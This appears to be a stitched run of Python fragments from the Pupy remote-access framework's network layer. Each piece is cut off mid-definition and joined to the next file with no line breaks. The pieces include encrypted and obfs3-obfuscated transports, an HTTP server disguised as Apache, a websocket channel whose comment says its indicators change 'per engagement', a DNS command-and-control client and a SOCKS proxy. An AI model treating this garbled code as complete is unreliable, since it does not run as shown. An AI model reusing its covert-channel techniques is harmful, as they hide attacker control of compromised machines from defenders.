from ..base import BasePupyTransport, TransportError import os, traceback, struct import rsa try: from Crypto import Random except ImportError as e: Random=None from cryptoutils.aes import NewAESCipher from network.lib.buffer import Buffer from network.lib import getLogger BLOCK_SIZE = 16 CHUNK_SIZE = 4096 logger = getLogger('rsaaes') class RSA_AESTransport(BasePupyTransport): """ Implements a transport that simply apply a RSA_AES to each byte """ password = None iterations = 1000 key_size = 32 rsa_key_size = 4096 aes_size = 256 __slots__ = ( 'aes_size', 'key_size', '_iv_enc', '_iv_dec', 'enc_cipher', 'dec_cipher',
class BaseTransport(BasePupyTransport): """ obfsproxy style alias """ __slots__ = () class TransportError(Exception): __slots__ = () class PluggableTransportError(Exception): __slots__ = () from buffer import Buffer from streams.PupySocketStream import addGetPeer from network.lib import getLogger logger = getLogger('chain') class TransportWrapper(BasePupyTransport): __slots__ = ( 'cls_chain', 'chain' ) cls_chain=[] def __init__(self, stream, **kwargs): super(TransportWrapper, self).__init__(stream, **kwargs) kwargs.update({ 'upstream_peer': self.upstream.transport.peer, 'downstream_peer': self.downstream.transport.peer })
from threading import Thread, Event, Lock import socket import os import subprocess import tempfile import platform import network from network.lib import getLogger logger = getLogger('dnscnc') def find_proxies(additional_proxies=None): proxy_info = find_default_proxy() if proxy_info: yield proxy_info for proxy_info in get_proxies(additional_proxies=additional_proxies): if proxy_info: yield proxy_info class DNSCommandClientLauncher(DnsCommandsClient): def __init__(self, domain, ns=None, qtype='A', ns_timeout=3): self.stream = None self.commands = [] self.lock = Lock()
# -*- coding: utf-8 -*- __all__ = ['PupyHTTPWrapperServer'] from ..base import BasePupyTransport, ReleaseChainedTransport from http_parser.parser import HttpParser from os import path, stat from network.lib.buffer import Buffer from network.lib import getLogger logger = getLogger('httpwrap') class PupyHTTPWrapperServer(BasePupyTransport): path = '/index.php?d=' allowed_methods = ('GET') server = None headers = { 'Content-Type': 'text/html; charset=utf-8', 'Server': 'Apache', 'Connection': 'close', } __slots__ = ( 'parser', 'is_http', 'body', 'downstream_buffer', 'well_known', 'omit', 'probe_len' ) def __init__(self, *args, **kwargs): super(PupyHTTPWrapperServer, self).__init__(*args, **kwargs)
import tinyhttp import socket import time import threading import random import urllib2 import scan import netaddr import struct import igd import sys import json from network.lib import getLogger logger = getLogger('online') from . import stun from . import ntplib ONLINE_STATUS = None ONLINE_STATUS_CHECKED = None ONLINE_CAPTIVE = 1 << 0 ONLINE_MS = 1 << 1 ONLINE = ONLINE_MS | ONLINE_CAPTIVE HOTSPOT = 1 << 2 DNS = 1 << 3 DIRECT_DNS = 1 << 4 HTTP = 1 << 5 HTTPS = 1 << 6
from scandir import scandir if scandir is None: from scandir import scandir_generic as scandir import sys import traceback try: import umsgpack as msgpack except ImportError: import msgpack import re from network.lib import getLogger logger = getLogger('transfer') FIELDS_MAP = { x: y for x, y in enumerate( ['st_mtime', 'st_gid', 'st_uid', 'st_mode', 'st_rdev']) } FIELDS_MAP_ENCODE = {y: x for x, y in FIELDS_MAP.iteritems()} F_TYPE = 0 F_PATH = 1 F_FILES = 2 F_SIZE = 3 F_DATA = 4 F_EXC = 5
# -*- coding: utf-8 -*- # Copyright (c) 2015, Nicolas VERDIER ([email protected]) # Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms """ abstraction layer over rpyc streams to handle different transports and integrate obfsproxy pluggable transports """ from network.lib import getLogger logger = getLogger('pss') __all__ = [ 'PupySocketStream', ] try: import kcp __all__.append( 'PupyUDPSocketStream' ) except: logger.warning('Datagram based stream is not available: KCP missing') import sys from rpyc.core import SocketStream, Connection, Channel import socket import time import errno import traceback import zlib from rpyc.lib.compat import select, select_error, get_exc_errno, maxint from network.lib.buffer import Buffer
__all__ = ('InvalidHTTPReq', 'MalformedData', 'MissingData', 'paths', 'UA', 'PupyWebSocketTransport', 'PupyWebSocketClient', 'PupyWebSocketServer') import time import base64 import struct import random import string import re from hashlib import sha1 from ..base import BasePupyTransport from network.lib import getLogger logger = getLogger('ws') class InvalidHTTPReq(Exception): __slots__ = () class MalformedData(Exception): __slots__ = () class MissingData(Exception): __slots__ = () # IOCs: These should change per engagement.
from threading import Thread, Lock from socket import inet_ntop from socket import AF_INET, AF_INET6 from Queue import Queue, Empty import socket import errno import uuid from network.lib.pupyrpc import nowait from network.lib import getLogger logger = getLogger('pyuvproxy') CODE_SUCCEEDED, CODE_GENERAL_SRV_FAILURE, CODE_CONN_NOT_ALLOWED, \ CODE_NET_NOT_REACHABLE, CODE_HOST_UNREACHABLE, CODE_CONN_REFUSED, \ CODE_TTL_EXPIRED, CODE_COMMAND_NOT_SUPPORTED, \ CODE_ADDRESS_TYPE_NOT_SUPPORTED, CODE_UNASSIGNED = xrange(10) ERRNO_TO_SOCKS5 = { errno.ECONNREFUSED: CODE_CONN_REFUSED, errno.ETIMEDOUT: CODE_CONN_REFUSED, errno.EACCES: CODE_CONN_NOT_ALLOWED, errno.EAFNOSUPPORT: CODE_ADDRESS_TYPE_NOT_SUPPORTED, errno.EPROTOTYPE: CODE_ADDRESS_TYPE_NOT_SUPPORTED, errno.EFAULT: CODE_GENERAL_SRV_FAILURE, errno.ENETUNREACH: CODE_NET_NOT_REACHABLE, -1: CODE_CONN_REFUSED
# https://raw.githubusercontent.com/jtriley/pystun/develop/stun/__init__.py __all__ = ('stun_test', 'get_nat_type', 'get_ip_info', 'get_ip') import binascii import random import socket __version__ = '0.1.0' from network.lib import getLogger log = getLogger("pystun") STUN_SERVERS = ('stun.ekiga.net', 'stun.ideasip.com', 'stun.voiparound.com', 'stun.voipbuster.com', 'stun.voipstunt.com', 'stun.voxgratia.org') DEFAULTS = { 'stun_port': 3478, } # stun attributes MappedAddress = '0001' ResponseAddress = '0002' ChangeRequest = '0003' SourceAddress = '0004' ChangedAddress = '0005' Username = '******' Password = '******' MessageIntegrity = '0008' ErrorCode = '0009'
# -*- coding: utf-8 -*- __all__ = ('SyncRequestDispatchQueue', 'PupyConnection', 'PupyConnectionThread') import time from rpyc.core import Connection, consts, brine from threading import Thread, Lock from Queue import Queue, Full, Empty from network.lib import getLogger logger = getLogger('pconn') synclogger = getLogger('sync') syncqueuelogger = getLogger('syncqueue') from network.lib.ack import Ack from network.lib.buffer import Buffer ############# Monkeypatch brine to be buffer firendly ############# def stream_dump(obj): buf = Buffer() brine._dump(obj, buf) return buf @brine.register(brine._dump_registry, str) def _dump_str_to_buffer(obj, stream): obj_len = len(obj)
""" The obfs3 module implements the obfs3 protocol. """ __all__ = ('Obfs3Client', 'Obfs3Server') import random from . import obfs3_dh from ...base import BaseTransport from ..cryptoutils import (NewAESCipher, AES_MODE_CTR, get_random, hmac_sha256_digest) from network.lib.buffer import Buffer from network.lib import getLogger logger = getLogger('obfs3') MAX_PADDING = 8194 PUBKEY_LEN = 192 KEYLEN = 16 # is the length of the key used by E(K,s) -- that is, 16. HASHLEN = 32 # length of output of sha256 ST_WAIT_FOR_KEY = 0 # Waiting for public key from the other party ST_WAIT_FOR_HANDSHAKE = 1 # Waiting for the DH handshake ST_SEARCHING_MAGIC = 2 # Waiting for magic strings from the other party ST_OPEN = 3 # Sending application data. class Obfs3Transport(BaseTransport): """
# -*- coding: utf-8 -*- from network.lib import getLogger logger = getLogger('pvs') __all__ = ['PupyVirtualStream'] from network.lib.buffer import Buffer import threading import traceback class PupyVirtualStream(object): MAX_IO_CHUNK = 65536 KEEP_ALIVE_REQUIRED = False compress = True __slots__ = ('upstream', 'on_receive', 'downstream', 'upstream_lock', 'downstream_lock', 'transport', 'transport_class', 'transport_kwargs', 'buf_in', 'buf_out', 'closed', 'peername') def __init__(self, transport_class, transport_kwargs={}, peername=None, on_receive=None): self.on_receive = None self.closed = True